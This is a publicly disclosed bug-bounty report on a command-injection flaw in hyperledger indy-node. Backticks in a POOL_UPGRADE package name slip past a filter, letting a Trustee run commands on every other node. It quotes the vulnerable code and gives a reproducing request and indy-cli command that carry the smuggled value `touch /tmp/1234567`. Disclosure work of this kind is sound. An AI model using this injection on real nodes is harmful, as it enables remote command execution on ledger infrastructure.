HexBrain

Linux Foundation Decentralized Trust · Report #1859592

[indy_node]POOL_UPGRADE command injection, Trustee Node can execute command in any other Node`s system.

Validstatus
2upvotes
27 Apr 2023disclosed

How it was found

After I finish my report, I found project this is not part of the bounty program, so I also commit this report. This issue is related to the https://github.com/hyperledger/indy-node.

I found some function such as get_latest_pkg_version/_call_upgrade_script has command injection vulnerability. node_control_utils.py:

    def get_latest_pkg_version(cls,pkg_name: str,upstream: SourceVersion = None, update_cache: bool = True) -> PackageVersion:
        ...
        try:
            cmd = compose_cmd(
                ['apt-cache', 'show', pkg_name, '|', 'grep', '-E', "'^Version: '"]
            )
            output = cls.run_shell_script_extended(cmd).strip()
    ...

node_control_noe.py:

    def _call_upgrade_script(self, pkg_name: str, pkg_ver: PackageVersion):
        logger.info(
            "Upgrading {} to package version {}, test_mode {}"
            .format(pkg_name, pkg_ver, int(self.test_mode))
        )

        deps = self._get_deps_list('{}={}'.format(pkg_name, pkg_ver))
        deps = '"{}"'.format(deps)

        cmd_file = 'upgrade_indy_node'
        if self.test_mode:
            cmd_file = 'upgrade_indy_node_test'

        cmd = compose_cmd([cmd_file, deps])
        NodeControlUtil.run_shell_script(cmd, timeout=self.timeout)

A Trustee can input a malicious package name to trigger this code. There are two conditions for package name:

  1. Valid package name prefix, here I choose indy-node.
  2. Valid package version. Input value of version must bigger or equals than old version. If reinstall set to true, version can equal with the old version.
  3. bypass the fileter function compose_cmd. I found some special characters filtered in compose_cmd , that is ;|&&:
def compose_cmd(cmd):
    if os.name != 'nt':
        cmd = ' '.join(cmd)
        cmd = re.split(";|&&", cmd.splitlines()[0], 1)[0].rstrip()
    return cmd

But the special character `, is still valid to inject command. So I can input a package name , for example: indy-node2 `touch /tmp/12345678` . Finally The malicious POOL_UPGRADE request looks as follows:

{
    "identifier": "V4SGRU86Z58d6TV7PBUe6f",
    "operation": {
        "action": "start",
        "name": "test",
        "package": "indy-node2 `touch /tmp/1234567`",
        "schedule": {
            "Gw6pDLhcBcoQesN72qfotTgFa7cbuqZpkX3Xo6pLhPhv":"2023-02-02T15:30:05.258870+00:00",
            "8ECVSk179mjsjKRLWiQtssMLgp6EPhWXtaYyStWPSGAb":"2023-02-02T17:32:05.258870+00:00",
            "DKVxG2fXXTU8yT5N7hGEbXB3dfdAnYv1JczDUHpmDxya":"2023-02-02T14:31:05.258870+00:00",
            "4PS3EDQ3dW1tci1Bp6543CfuuebjFrg36kLAUcskGfaA":"2023-02-02T19:39:05.258870+00:00"
        },
        "sha256": "db34a72a90d026dae49c3b3f0436c8d3963476c77468ad955845a1ccf7b03f55",
        "type": "109",
        "reinstall": true,
        "version": "1.12.6"
    },
    "protocolVersion": 2,
    "reqId": 1651152851,
    "signature": "4YoXKHNnWRouTUAW4fKuTANnXNJfY2JoPG4PoXfz4PUzjx4NySrAmzkzy6zCiRRf5uczZx5mQVSm1eCZLnUHUDoT"
}

Step to reproduce(use indy-cli):

  1. use indy-cli, Use a TRUSTEE DID:

{F2150453}

  1. Run ledger pool_upgrade command, such as:
ledger pool-upgrade name="security_test2" version=1.12.6 action=start sha256=f284bdc3c1c9e24a494e285cb387c69510f28de51c15bb93179d9c7f28705398 schedule={"Gw6pDLhcBcoQesN72qfotTgFa7cbuqZpkX3Xo6pLhPhv":"2023-02-02T15:30:05.258870+00:00","8ECVSk179mjsjKRLWiQtssMLgp6EPhWXtaYyStWPSGAb":"2023-02-02T14:32:05.258870+00:00","DKVxG2fXXTU8yT5N7hGEbXB3dfdAnYv1JczDUHpmDxya":"2023-02-02T13:31:05.258870+00:00","4PS3EDQ3dW1tci1Bp6543CfuuebjFrg36kLAUcskGfaA":"2023-02-02T12:53:05.258870+00:00"} package="indy-node `touch /tmp/1234567`" reinstall=true
  1. wait for schedule, you can what happend in /var/log/indy/node_control.log:

{F2150481}

Impact

A Trustee Node can execute command in any other Node`s system.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original